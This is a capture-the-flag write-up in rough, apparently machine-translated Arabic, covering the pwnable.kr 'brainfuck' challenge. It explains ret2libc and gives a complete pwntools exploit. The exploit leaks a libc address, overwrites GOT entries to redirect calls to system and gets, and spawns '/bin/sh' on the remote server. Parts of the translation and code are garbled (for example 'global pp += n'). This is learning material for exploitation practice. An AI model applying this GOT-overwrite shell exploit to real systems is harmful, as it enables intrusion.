حل المشاكل مع pwnable.kr 22 - brainfuck. هجوم Ret2libc

صورة

في هذه المقالة ، سنقوم بحل المهمة الثانية والعشرين من الموقع pwnable.kr ومعرفة فئة الهجمات التي تنطوي على إعادة كتابة العنوان في GOT إلى عنوان الوظيفة التي نحتاجها من المكتبة.

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

العودة إلى هجوم المكتبة


تعد العودة إلى هجوم المكتبة (هجوم الرجوع إلى libc) أحد أنواع هجمات الكمبيوتر المرتبطة بتدفقات المخزن المؤقت عندما يتم استبدال عنوان المرسل الخاص بوظيفة ما على المكدس بعنوان وظيفة أخرى في البرنامج ، وتتم كتابة المعلمات الخاصة بالوظيفة التي تم استدعاؤها في الجزء التالي من المكدس. تتيح هذه التقنية للمهاجمين القيام بأي وظيفة موجودة في المكتبة دون الحاجة إلى إدخال تعليمات برمجية ضارة في البرنامج.

يحتوي Linux على مكتبة libc مشتركة توفر وظائف قياسية C و POSIX ، مثل system () لتنفيذ الأوامر التعسفية. توجد مكتبات مماثلة في عائلة أنظمة تشغيل Windows. على الرغم من أن المهاجم يمكنه إجبار البرنامج على القفز إلى أي عنوان ، إلا أن معظم البرامج تستخدم libc (مرتبط به) ، إلا أن لديها وظائف ملائمة لإطلاق أوامر تعسفية. لذلك ، فإن وظائف المكتبة القياسية هي الهدف الأكثر احتمالا لمثل هذه عمليات الاستغلال ، والتي أعطت الاسم لفئة الهجمات.

حل لمسعى الهوركروكس


نبدأ القسم الثاني. سأقول على الفور أنه أكثر صعوبة من الأول ولن يتم تزويدنا بالكود المصدري للتطبيقات. لا تنسى المناقشة هنا . لنبدأ.

انقر على أيقونة مع اللعنة الدماغ توقيع. يعطوننا العنوان والمنفذ للاتصال ، والبرنامج نفسه ، ومكتبة libc له ، ويشرحان أنه محاكي لغة لمخيل الأفكار .

صورة

قم بتنزيل كل ما يقدمونه لنا ، تحقق من الملف الثنائي. هذا قزم 32 بت ، لذلك نقوم بفك تشفير البرنامج في IDA Pro.

صورة

لا توجد نقاط ضعف في الوظيفة الرئيسية. يتم التحكم في تخصيص الذاكرة وعدد الأحرف التي تم إدخالها في المتغير s. قبل ذلك ، تتم تهيئة المؤشر p. دعونا نلقي نظرة على وظيفة brainfuck.

صورة

تستخدم هذه الوظيفة لكل حرف من السلسلة التي أدخلناها. أنه يحتوي على سلسلة من الإجراءات ، اعتمادا على الحرف. مجموعة كاملة من الأوامر تبدو كالتالي:

  • +: إضافة واحد إلى القيمة الموجودة في p ؛
  • ،: يأخذ شخصية أخرى من الإدخال القياسي ويأخذها في p ؛
  • -: يطرح واحد من القيمة في p ؛
  • .: يعرض الحرف على العنوان p؛
  • <: يطرح من p ؛
  • >: يضيف إلى ص.

صورة

وبالتالي ، فإن حل مهمتنا سيحدث من خلال التلاعب بالمؤشر p. العثور على عنوان البداية. في الوظيفة الرئيسية ، يتم إدخال عنوان الشريط المتغير في p ، أي 0x804a0a0.

صورة

في نفس الوقت ، يقع قسم get.plt في 0x804a000 ، يتم تخزين عناوين الوظائف المستخدمة في مكتبة libc. حول حصلت و PLT ، لقد كتبت بالفعل هنا .

صورة

نظرًا لأنه من خلال معالجة المؤشر p يمكننا الوصول إلى GOT ، يمكننا تنفيذ هجوم مثل ret2libc. للقيام بذلك ، سوف نحتاج إلى إعادة كتابة عنوان الوظيفة المستخدمة لعنوان الدالة system () من libc (حتى أننا حصلنا على مكتبة).

وبالتالي ، يظهر ناقل الهجوم التالي:

  1. أعد كتابة العنوان إلى عنوان وظيفة النظام ؛
  2. أعد كتابة عنوان memset ليحصل عليه ؛
  3. أعد كتابة عنوان putchar إلى الرئيسي.

ما سيأتي من هذا: بعد إكمال الخطوات المذكورة أعلاه ، عندما يتم استدعاء وظيفة putchar ، سيتم استدعاء الوظيفة الرئيسية ، والتي سوف تستدعي الحصول عليها بدلاً من memset وقراءة السلسلة التي أدخلناها على المكدس. بعد ذلك ، بدلاً من fgets ، سيتم استدعاء نظام ، والذي سيثير حجة من المكدس (أي الخط الذي أدخلناه).

لننفذ هذا. أولاً ، قم بإنشاء قالب يحتوي على عناوين المؤشر والوظائف:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

سنقوم الآن بكتابة دالة ستنقل المؤشر إلى عدد الخطوات التي نحتاجها:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

دالة تقرأ 4 بايت:

 def readVar(): return ".>"*4 + "<"*4 

وظيفة تقبل وتكتب 4 بايت:

 def writeVar(): return ",>"*4 + "<"*4 

نكتب الآن العبء ، إنه بسيط - ننتقل إلى عنوان fgets ، ونقرأ (سنقول لاحقًا لماذا) ، أعد كتابة ... نذهب إلى عنوان memset - نعيد الكتابة ، نذهب إلى عنوان putchar - نعيد الكتابة. كل شيء كما في الفكرة.

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

فلماذا قراءة عنوان fgets؟ نظرًا لأن هذا هو get.plt ، فقد قرأنا عنوان fgets إلى مكتبة libc المرتبطة. نظرًا لأن لدينا مكتبة libc (غير مرتبطة) ، ثم نطرح عنوان نفس الوظيفة في مكتبة غير مرتبطة من عنوان الوظيفة في المكتبة المرتبطة ، سنحدد الأساس ، أي ، العنوان الذي يتم ربط المكتبة من خلاله بالملف m (بداية رمز المكتبة). ثم إضافة إزاحة أي وظيفة في مكتبة غير مرتبطة في قاعدة البيانات ، سنصل إلى عنوان هذه الوظيفة في واحدة متصلة بالفعل. وهذا هو ، سوف ندعو وظيفة من الثنائي الذي لم يعرف حتى ...

لذلك ، سوف يعطينا هذا الحمل عنوان الوظيفة في المكتبة المرتبطة. دعونا نجد عنوانها في غير مرتبطة.

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

والآن ، نظرًا لردود الخادم ، سنجد قاعدة البيانات.

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

الآن نحصل على عناوين وظائف أخرى مع الأخذ في الاعتبار القاعدة.

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

ونحن ندرك فكرتنا.

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

كود كامل
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


صورة

نحصل على العلامة المطلوبة ونبدأ الجزء الثاني من المهام على pwnable.kr.

صورة

يمكنك الانضمام إلينا على Telegram . في المرة القادمة سوف نتعامل مع تجاوز سعة الكومة.

Source: https://habr.com/ru/post/ar466109/


All Articles